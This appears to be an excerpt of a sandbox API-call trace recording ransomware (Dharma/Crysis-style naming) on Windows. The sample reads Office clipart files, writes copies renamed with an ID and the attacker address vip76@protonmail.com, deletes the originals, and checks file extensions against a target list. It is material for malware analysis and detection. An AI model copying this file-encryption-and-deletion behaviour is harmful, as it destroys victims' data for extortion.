	[0168.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20
	[0168.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61
	[0168.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61
	[0168.277] lstrlenW (lpString=".doc") returned 4
	[0168.277] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.277] lstrlenW (lpString=".docx") returned 5
	[0168.277] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0168.277] lstrlenW (lpString=".pdf") returned 4
	[0168.277] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.277] lstrlenW (lpString=".xls") returned 4
	[0168.277] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.277] lstrlenW (lpString=".xlsx") returned 5
	[0168.277] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0168.277] lstrlenW (lpString=".ppt") returned 4
	[0168.277] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61
	[0168.277] lstrlenW (lpString=".zip") returned 4
	[0168.277] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.277] lstrlenW (lpString=".rar") returned 4
	[0168.277] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.277] lstrlenW (lpString=".bz2") returned 4
	[0168.278] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.278] lstrlenW (lpString=".7z") returned 3
	[0168.278] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61
	[0170.036] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.036] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.041] GetLastError () returned 0x0
	[0170.041] ReadFile (in: hFile=0x50c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x22de, lpOverlapped=0x0) returned 1
	[0170.057] WriteFile (in: hFile=0x51c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x22e0, lpOverlapped=0x0) returned 1
	[0170.059] ReadFile (in: hFile=0x50c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.059] WriteFile (in: hFile=0x51c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.059] SetEndOfFile (hFile=0x51c) returned 1
	[0170.059] CloseHandle (hObject=0x51c) returned 1
	[0170.059] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.059] SetEndOfFile (hFile=0x50c) returned 1
	[0170.063] CloseHandle (hObject=0x50c) returned 1
	[0170.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0170.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1
	[0170.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.064] lstrlenW (lpString=".doc") returned 4
	[0170.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.064] lstrlenW (lpString=".docx") returned 5
	[0170.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.064] lstrlenW (lpString=".pdf") returned 4
	[0170.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.064] lstrlenW (lpString=".xls") returned 4
	[0170.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.064] lstrlenW (lpString=".xlsx") returned 5
	[0170.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.064] lstrlenW (lpString=".ppt") returned 4
	[0170.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.064] lstrlenW (lpString=".zip") returned 4
	[0170.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.065] lstrlenW (lpString=".rar") returned 4
	[0170.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.065] lstrlenW (lpString=".bz2") returned 4
	[0170.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.065] lstrlenW (lpString=".7z") returned 3
	[0170.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.065] lstrlenW (lpString=".dbf") returned 4
	[0170.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.065] lstrlenW (lpString=".1cd") returned 4
	[0170.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.065] lstrlenW (lpString=".jpg") returned 4
	[0170.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.065] lstrlenW (lpString=".doc") returned 4
	[0170.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.065] lstrlenW (lpString=".docx") returned 5
	[0170.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.065] lstrlenW (lpString=".pdf") returned 4
	[0170.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.065] lstrlenW (lpString=".xls") returned 4
	[0170.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.065] lstrlenW (lpString=".xlsx") returned 5
	[0170.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.065] lstrlenW (lpString=".ppt") returned 4
	[0170.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.066] lstrlenW (lpString=".zip") returned 4
	[0170.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.066] lstrlenW (lpString=".rar") returned 4
	[0170.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.066] lstrlenW (lpString=".bz2") returned 4
	[0170.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.066] lstrlenW (lpString=".7z") returned 3
	[0170.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.066] lstrlenW (lpString=".dbf") returned 4
	[0170.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.066] lstrlenW (lpString=".1cd") returned 4
	[0170.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0170.066] lstrlenW (lpString=".jpg") returned 4
	[0170.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.066] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0170.066] lstrlenW (lpString="FD00459_.WMF") returned 12
	[0170.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c
	[0170.317] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=17406) returned 1
	[0170.317] CloseHandle (hObject=0x50c) returned 1
	[0170.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220
	[0170.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0170.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c
	[0170.318] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.318] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.319] GetLastError () returned 0x0
	[0170.319] ReadFile (in: hFile=0x50c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x43fe, lpOverlapped=0x0) returned 1
	[0170.321] WriteFile (in: hFile=0x51c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4400, lpOverlapped=0x0) returned 1
	[0170.322] ReadFile (in: hFile=0x50c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.322] WriteFile (in: hFile=0x51c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.323] SetEndOfFile (hFile=0x51c) returned 1
	[0170.323] CloseHandle (hObject=0x51c) returned 1
	[0170.323] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.323] SetEndOfFile (hFile=0x50c) returned 1
	[0170.327] CloseHandle (hObject=0x50c) returned 1
	[0170.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0170.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1
	[0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.328] lstrlenW (lpString=".doc") returned 4
	[0170.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.328] lstrlenW (lpString=".docx") returned 5
	[0170.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.328] lstrlenW (lpString=".pdf") returned 4
	[0170.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.328] lstrlenW (lpString=".xls") returned 4
	[0170.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.328] lstrlenW (lpString=".xlsx") returned 5
	[0170.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.328] lstrlenW (lpString=".ppt") returned 4
	[0170.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.328] lstrlenW (lpString=".zip") returned 4
	[0170.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.328] lstrlenW (lpString=".rar") returned 4
	[0170.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.328] lstrlenW (lpString=".bz2") returned 4
	[0170.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.328] lstrlenW (lpString=".7z") returned 3
	[0170.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.328] lstrlenW (lpString=".dbf") returned 4
	[0170.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.329] lstrlenW (lpString=".1cd") returned 4
	[0170.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.329] lstrlenW (lpString=".jpg") returned 4
	[0170.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.329] lstrlenW (lpString=".doc") returned 4
	[0170.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.329] lstrlenW (lpString=".docx") returned 5
	[0170.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.329] lstrlenW (lpString=".pdf") returned 4
	[0170.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.329] lstrlenW (lpString=".xls") returned 4
	[0170.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.329] lstrlenW (lpString=".xlsx") returned 5
	[0170.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.329] lstrlenW (lpString=".ppt") returned 4
	[0170.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.329] lstrlenW (lpString=".zip") returned 4
	[0170.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.329] lstrlenW (lpString=".rar") returned 4
	[0170.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.329] lstrlenW (lpString=".bz2") returned 4
	[0170.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.329] lstrlenW (lpString=".7z") returned 3
	[0170.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.329] lstrlenW (lpString=".dbf") returned 4
	[0170.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.330] lstrlenW (lpString=".1cd") returned 4
	[0170.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0170.330] lstrlenW (lpString=".jpg") returned 4
	[0170.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.330] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0170.330] lstrlenW (lpString="FD00544_.WMF") returned 12
	[0170.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c
	[0170.330] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5260) returned 1
	[0170.330] CloseHandle (hObject=0x50c) returned 1
	[0170.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220
	[0170.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0170.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c
	[0170.331] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.331] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.332] GetLastError () returned 0x0
	[0170.332] ReadFile (in: hFile=0x50c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x148c, lpOverlapped=0x0) returned 1
	[0170.334] WriteFile (in: hFile=0x51c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0170.335] ReadFile (in: hFile=0x50c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.335] WriteFile (in: hFile=0x51c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.335] SetEndOfFile (hFile=0x51c) returned 1
	[0170.335] CloseHandle (hObject=0x51c) returned 1
	[0170.335] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.335] SetEndOfFile (hFile=0x50c) returned 1
	[0170.338] CloseHandle (hObject=0x50c) returned 1
	[0170.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0170.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1
	[0170.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.339] lstrlenW (lpString=".doc") returned 4
	[0170.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.339] lstrlenW (lpString=".docx") returned 5
	[0170.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.339] lstrlenW (lpString=".pdf") returned 4
	[0170.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.339] lstrlenW (lpString=".xls") returned 4
	[0170.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.339] lstrlenW (lpString=".xlsx") returned 5
	[0170.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.339] lstrlenW (lpString=".ppt") returned 4
	[0170.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.339] lstrlenW (lpString=".zip") returned 4
	[0170.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.339] lstrlenW (lpString=".rar") returned 4
	[0170.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.339] lstrlenW (lpString=".bz2") returned 4
	[0170.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.339] lstrlenW (lpString=".7z") returned 3
	[0170.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.340] lstrlenW (lpString=".dbf") returned 4
	[0170.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.340] lstrlenW (lpString=".1cd") returned 4
	[0170.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.340] lstrlenW (lpString=".jpg") returned 4
	[0170.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.340] lstrlenW (lpString=".doc") returned 4
	[0170.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.340] lstrlenW (lpString=".docx") returned 5
	[0170.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.340] lstrlenW (lpString=".pdf") returned 4
	[0170.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.340] lstrlenW (lpString=".xls") returned 4
	[0170.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.340] lstrlenW (lpString=".xlsx") returned 5
	[0170.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.340] lstrlenW (lpString=".ppt") returned 4
	[0170.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.340] lstrlenW (lpString=".zip") returned 4
	[0170.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.340] lstrlenW (lpString=".rar") returned 4
	[0170.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.340] lstrlenW (lpString=".bz2") returned 4
	[0170.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.340] lstrlenW (lpString=".7z") returned 3
